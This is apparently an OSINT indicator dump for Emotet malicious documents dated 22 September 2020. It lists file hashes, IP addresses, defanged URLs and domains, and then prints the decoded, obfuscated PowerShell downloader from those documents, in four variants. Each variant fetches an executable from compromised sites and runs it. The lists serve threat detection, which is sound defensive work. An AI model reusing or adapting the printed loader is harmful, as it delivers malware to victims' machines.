Emotet_Doc_out_2020-09-22_22_18.txt

#Emotet #Docs #malware #OSINT #IOC

SHA256:
81b7324acbeb5ad9c975f24624147612fd921741b9adf1b3c36ba915c22eadfe
7f6f580a5ad3bb9a5c0cbe68cda4a926f2f4f7648338fe7bf7b71d82ff3fd200
deb600ac1ac3e5230085da737631928e9460610812ddec5ab166f830acd7a411
863c4548ed10a6412c7114ed7032ad3c3520c6546336adf8e93f9cd595ad97fe
32de398644af3cf5c6de2390df0498bc4be0dc9d768cfad4eeb53006906f4623
3d9019e7759741c92d9b6a1af7a158b3e41d589b529a4f285416a7980aaa2735
8becb7ca0d2d13bc1e667d22cf222c927c6b952a67daede438a39afcf555629e
651691dcf8a659de6cc317f73356040f9fe108f7afcfcf13f037cb8ca348f061
8937064c7ab860bfd3cba7621752a85796caa4092d34225474a42f0f6a5ce234
c4699bc83e2c480aa53af341f4b67b5dfb27cb5d28fb09a7619b55689b686ae3
4b28c06d34e565248875bbf66d52172c0b485192dcaab8144efa61fd00fddb5a
50938c1e8bcfd60435f294949bf3b07533f8b5ccf1cf92d08a77f4a222037092
ef13496f7022fd77f5c840b34d5fc577bf4c2dcef2a56b1e0b71fa0387d6e8b9
dce6a65ac76a2a50740ea22eb74b87da3c5edc4a6135e9b1c39e1b4baf9a02d7
e95caa819c63e8dceb7ebc92b63885e1e55904cdae653c53e75ce71afc69f711
944e1d93b3a20dd3f16bcb0a36fafcfb833c3a86dccd514d812e830a9a78c6d5
bc5691f0d4d9c0fc260effd42b99bf104b3249363fe4d023330189d735c822d6
104d2e1471c7993b4d02e8043079b61edd68a9c7744f66779b40d798cc1f8da1
a264844ab1f216ed35be45d33e87a627daf6c537e39717dd9f009940441da9d0
3867403fc0ef30b2ca95ffaeeaf103e4d2eef4e04c211e3a85bc2ab35cb0285a
5edac9eba4b9acb19c34761cd2f8631ea31814b300b760c31c1d42569fb7c50a
30784116009d73a1efbb694dfd293b93bb7fe5f5f0ea5a980564d8f38aa7b34f
9feac62adca8879c6fb77e71311d55feb8409cc5a2a0929f48934970c404f3dc
9feac62adca8879c6fb77e71311d55feb8409cc5a2a0929f48934970c404f3dc
0c850e85bc3e92d0551863e1ce5cd03c3c3404ceeb7e38aed586706c4134f4a2
c12fac9cd3355e4f8d1f11015cd59fd3b476b20758d57988889bff4c5a352726
02503f6546f32015f98eb839efb8b3d86d56b8ab5de5a30b5d6e99b4bd41802d
02503f6546f32015f98eb839efb8b3d86d56b8ab5de5a30b5d6e99b4bd41802d
94e871e16d0a00448fc94b2fc941bf9d22f32b5e6045a4510ea331bf2ea9de3a
1ddec7617d6087292e3d51b1fe1079a93c28e9546171d2bbd2fa6f049fe2a089
0bf81a6e813d1474fb8f3bc1b2071f479aa978b3e536a2c960d60226fd1ebaae
fa7f4b3fa89ce1e3cf1f45674f36346e729aced2de513c5a058f935c65b3cffc
1fec1525982eaf101a05eba9a0529a2173919202f4be2e7fd0b4a73102f4da0b
06adccb0830725b1272de45aa1e389479de4317cc3e401396ee6320e992dc261
dbde4aaff8c1d5748e3be5ec0e07691b1f8d1b6a089e1c041825584d5b49ae7d
cd537ffeb9d0a9e21855ebee9da69cd5b7e1c0839e6fca3be47f0a695a41d2e4
cb244ee23263d4776d7a353173d14fc35fe3c1312615415c70def4cf97744d97


IPs:
104.24.112.40
104.24.113.40
104.24.124.217
104.24.125.217
107.161.177.229
109.203.103.140
119.8.43.158
13.127.103.42
148.251.125.163
162.144.116.216
162.144.85.205
162.214.1.47
162.241.149.31
162.241.154.46
172.67.139.101
172.67.169.119
198.46.91.221
198.8.93.29
199.103.62.4
205.144.171.69
3.127.95.106
34.67.97.45
45.117.81.30
45.124.87.188
45.64.185.141
46.183.8.124
62.14.235.247
64.118.86.20
66.198.240.50
67.225.160.134
71.115.138.141
91.234.194.88



URLs:
hxxp://jobcapper.com/8.7.19/hrS/
hxxp://scoomie.com/wp-content/uploads/mxjsB/
hxxps://blog.workshots.net/bibqcr9/Eki/
hxxps://hxoptical.net/wp-admin/91C/
hxxps://adidasnmdfootlocker.com/nc_assets/F/
hxxp://socylmediapc.es/tools/D7Ogq/
hxxp://lombardzista.pl/wp-content/r/."SPl`it"[char]42;
hxxp://vuatritue.com/wp-admin/w/
hxxp://castlestudios.com/bots/7/
hxxps://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/
hxxp://brandstrumpet-001-site1.ctempurl.com/default/lnD/
hxxp://oneinsix.com/test/u/
hxxp://livefarma.com/wp-content/hpu/
hxxp://datawyse.net/cgi-bin/8/."spL`iT"[char]42;
hxxp://ckinterbiz.com/backup/waI0rNy/
hxxp://creationskateboards.com/shred/xnYp2/
hxxp://bnmintl.com/cgi-bin/hQuB2/
hxxp://buildingrobots.net/cgi-bin/LKgv/
hxxp://booksearch.com/index_files/U/
hxxp://davehale.ca/cgi-bin/v4kax/
hxxps://www.equiposjj.com/cgi-bin/h0MId/."sPl`iT"[char]42;
hxxp://syracusecoffee.com/customer/jzN/
hxxp://intrasistemas.com/cgi-bin/6/
hxxp://rocketviral.com/bv/O/
hxxp://shop.homenhealthy.com/wp-includes/xt/
hxxp://raintoday.org/wp-admin/e/
hxxps://qualitychildcarepreschool.com/emqblk/292416929446266/O/
hxxp://thammynhp.com/wp-includes/H/."Spl`it"[char]42;


Domains:
jobcapper.com
scoomie.com
blog.workshots.net
hxoptical.net
adidasnmdfootlocker.com
socylmediapc.es
lombardzista.pl
vuatritue.com
castlestudios.com
www.afriqueindustries-sa.com
brandstrumpet-001-site1.ctempurl.com
oneinsix.com
livefarma.com
datawyse.net
ckinterbiz.com
creationskateboards.com
bnmintl.com
buildingrobots.net
booksearch.com
davehale.ca
www.equiposjj.com
syracusecoffee.com
intrasistemas.com
rocketviral.com
shop.homenhealthy.com
raintoday.org
qualitychildcarepreschool.com
thammynhp.com


Decoded Base64 Powershell:
<�F��,$Eapyqad=Nhkn7fu;
.new-item $eNv:userProFIlE\VdrQtep\QD6rNB5\ -itemtype direCTory;
[Net.ServicePointManager]::"SEC`URITyprot`ocol" = tls12, tls11, tls;
$Mk3s5a8 = Bgdzca35h;
$Y4uqrqr=H5wju5a;
$Yx_v8p8=$env:userprofile{0}Vdrqtep{0}Qd6rnb5{0}-f[ChAR]92$Mk3s5a8.exe;
$Xm5c1su=Kg0exgj;
$Gylmkpv=.new-object net.WeBcLIeNT;
$Oqa4xyx=hxxp://jobcapper.com/8.7.19/hrS/
hxxp://scoomie.com/wp-content/uploads/mxjsB/
hxxps://blog.workshots.net/bibqcr9/Eki/
hxxps://hxoptical.net/wp-admin/91C/
hxxps://adidasnmdfootlocker.com/nc_assets/F/
hxxp://socylmediapc.es/tools/D7Ogq/
hxxp://lombardzista.pl/wp-content/r/."SPl`it"[char]42;
$Mcckvd1=X452m4x;
foreach$Z0g94ur in $Oqa4xyx{try{$Gylmkpv."DOW`Nload`FIlE"$Z0g94ur, $Yx_v8p8;
$R1dqaey=Gxalsmq;
If &Get-Item $Yx_v8p8."LEng`Th" -ge 22762 {.Invoke-Item$Yx_v8p8;
$A4s2235=Yg9y5ux;
break;
$Rq9c4vm=Qa9cpnu}}catch{}}$Sgm_et9=H6b013p<�F��,$Hijqfdx=Qqct2lz;
&new-item $Env:uSeRproFilE\a0xWnn7\BK7BCFK\ -itemtype DirECtOry;
[Net.ServicePointManager]::"SecURI`T`Y`Prot`ocoL" = tls12, tls11, tls;
$K6cyy9n = Lj3ffz;
$W86_0ug=Guvoqy9;
$F33aiph=$env:userprofileQ58A0xwnn7Q58Bk7bcfkQ58."REP`Lace"Q58,[sTring][char]92$K6cyy9n.exe;
$Ylr_9lm=Tv1w4nf;
$Gv8rh8e=&new-object Net.WeBclIENt;
$P64ro40=hxxp://vuatritue.com/wp-admin/w/
hxxp://castlestudios.com/bots/7/
hxxps://www.afriqueindustries-sa.com/ootqgtbgutgqkxfq/dS9/
hxxp://brandstrumpet-001-site1.ctempurl.com/default/lnD/
hxxp://oneinsix.com/test/u/
hxxp://livefarma.com/wp-content/hpu/
hxxp://datawyse.net/cgi-bin/8/."spL`iT"[char]42;
$P9ptkez=Mf4_f8j;
foreach$B4i4d3l in $P64ro40{try{$Gv8rh8e."Dow`NLoad`FiLE"$B4i4d3l, $F33aiph;
$Mq65y1n=Ozin6us;
If .Get-Item $F33aiph."lEN`GTH" -ge 37993 {&Invoke-Item$F33aiph;
$G4sjpu4=Wt4sna5;
break;
$Femtly7=W0v7m38}}catch{}}$Xu8d2ic=Bh4hubi<�F��,$Oqid1nu=A7xtbim;
&new-item $enV:UsErProFIle\zwL6MUI\oVCdBxs\ -itemtype dirEcTOrY;
[Net.ServicePointManager]::"Se`C`Uri`TYprOToCOl" = tls12, tls11, tls;
$I00205l = Aip4cb7p;
$T05jvkz=Kgtvhgx;
$Zy4soly=$env:userprofile43LZwl6mui43LOvcdbxs43L."re`pl`Ace"[cHAr]52[cHAr]51[cHAr]76,\$I00205l.exe;
$E5q9z_l=Nc5h1rt;
$Xrxh3t7=&new-object NeT.WEbClIeNt;
$Lzh9sa_=hxxp://ckinterbiz.com/backup/waI0rNy/
hxxp://creationskateboards.com/shred/xnYp2/
hxxp://bnmintl.com/cgi-bin/hQuB2/
hxxp://buildingrobots.net/cgi-bin/LKgv/
hxxp://booksearch.com/index_files/U/
hxxp://davehale.ca/cgi-bin/v4kax/
hxxps://www.equiposjj.com/cgi-bin/h0MId/."sPl`iT"[char]42;
$Vz0o27p=Ycxb505;
foreach$Jleppo7 in $Lzh9sa_{try{$Xrxh3t7."Do`WnlOAD`FI`lE"$Jleppo7, $Zy4soly;
$U37hpr1=Qu2sqr2;
If &Get-Item $Zy4soly."LEn`GTH" -ge 39089 {&Invoke-Item$Zy4soly;
$Z3tiikl=W_xmkqu;
break;
$Up0vlfm=E2hf9fr}}catch{}}$Ro6gl4u=O5vsdpn<�F��,$Ozlrrbh=R578bvh;
&new-item $ENv:USerProFIlE\Wk2qcmV\kF2u558\ -itemtype dIrECtorY;
[Net.ServicePointManager]::"S`ecurITy`PRotO`col" = tls12, tls11, tls;
$L0hapdb = Htammz;
$Tc7rzvw=Pbhr23u;
$Cyk86mf=$env:userprofile{0}Wk2qcmv{0}Kf2u558{0}  -f  [Char]92$L0hapdb.exe;
$Vc33iry=V0yjl5v;
$Bzppe39=&new-object Net.WebClIeNt;
$H53l7jw=hxxp://syracusecoffee.com/customer/jzN/
hxxp://intrasistemas.com/cgi-bin/6/
hxxp://rocketviral.com/bv/O/
hxxp://shop.homenhealthy.com/wp-includes/xt/
hxxp://raintoday.org/wp-admin/e/
hxxps://qualitychildcarepreschool.com/emqblk/292416929446266/O/
hxxp://thammynhp.com/wp-includes/H/."Spl`it"[char]42;
$Vavpvus=B1j76dr;
foreach$El37wce in $H53l7jw{try{$Bzppe39."dOwNLOA`D`FIle"$El37wce, $Cyk86mf;
$S3gju9q=Ktx28m5;
If .Get-Item $Cyk86mf."l`En`GTh" -ge 35717 {.Invoke-Item$Cyk86mf;
$Nx1gfgk=K1th4s2;
break;
$Jutyle9=Iab83q1}}catch{}}$Momr3dv=W1gh8cw